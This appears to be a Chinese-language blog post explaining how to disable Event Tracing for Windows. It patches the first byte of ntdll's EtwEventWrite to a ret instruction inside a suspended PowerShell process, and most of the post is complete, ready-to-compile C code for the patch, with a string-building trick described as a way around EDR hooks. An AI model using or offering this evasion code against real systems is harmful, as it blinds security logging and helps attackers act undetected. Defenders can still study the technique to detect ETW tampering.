0%

基于内存补丁的ETW绕过

ETW

ETW全称为Event Tracing for Windows,即windows事件跟踪,它是Windows提供的原生的事件跟踪日志系统。由于采用内核层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案

3环ETW是通过ntdll.dll下的EtwEventWriteFull 函数实现的 这里使用x64bdg和ProcessExp 使用x64dbg附加一个新建的powershell 定位到ntdll!EtwEventWrite

一般WindowsAPI (x86)默认使用stdcall 调用约定 (x64)默认使用fastcall【即寄存器传参,被调用者清理堆栈】,这里直接使用ret返回即可 然后查看ProcessExp中的CLR日志 发现已经变成了空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <Windows.h>
#include <Tlhelp32.h>
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

// 1. 建立一个 Powershell Process,并取得 Process Handle
CreateProcessA(NULL, (LPSTR)"powershell -noexit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. 从 ntdll.dll 中取得 EtwEventWrite 的地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
//LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
//可能会有某些edr会对EtwEventWrite函数hook,所以这里可以处理下
unsigned char pEtwEventWriteProcName[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWriteProcName);

// 3. 把 EtwEventWrite 的地址的权限改成可读、可写、可执行(rwx)
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

// 4. 将 EtwEventWrite 的第一个 byte 改成 0xc3,也就是ret返回指令
char patch = 0xc3;
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);

// 5. 把 EtwEventWrite 的权限改回,并且继续执行 Process
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
ResumeThread(pi.hThread);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}

References

https://idiotc4t.com/defense-evasion/memory-pacth-bypass-etw https://tttang.com/archive/1612/

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------